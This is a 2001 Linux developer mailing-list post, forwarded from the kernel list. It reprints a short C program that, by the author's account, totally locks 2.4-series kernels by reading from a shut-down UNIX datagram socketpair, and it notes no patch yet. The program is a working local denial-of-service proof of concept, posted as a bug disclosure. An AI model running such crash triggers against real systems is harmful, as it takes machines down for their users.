linux 2.4.x && total lock from simple program
    Arkadiusz Miskiewicz 
    misiek at pld.ORG.PL
       
    Thu Feb  1 20:31:12 CET 2001
    
    
  
from lkml:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
int
main(int argc, const char* argv[])
{
  int retval;
  int sockets[2];
  char buf[1];
  retval = socketpair(PF_UNIX, SOCK_DGRAM, 0, sockets);
  if (retval != 0)
  {
    perror("socketpair");
    exit(1);
  }
  shutdown(sockets[0], SHUT_RDWR);
  read(sockets[0], buf, 1);
}
locks 2.4 kernels 8) no patch at this moment.
-- 
Arkadiusz Miśkiewicz, AM2-6BONE    [ PLD GNU/Linux IPv6 ]
http://www.t17.ds.pwr.wroc.pl/~misiek/ipv6/   [ enabled ]
    
    
More information about the pld-devel-en
mailing list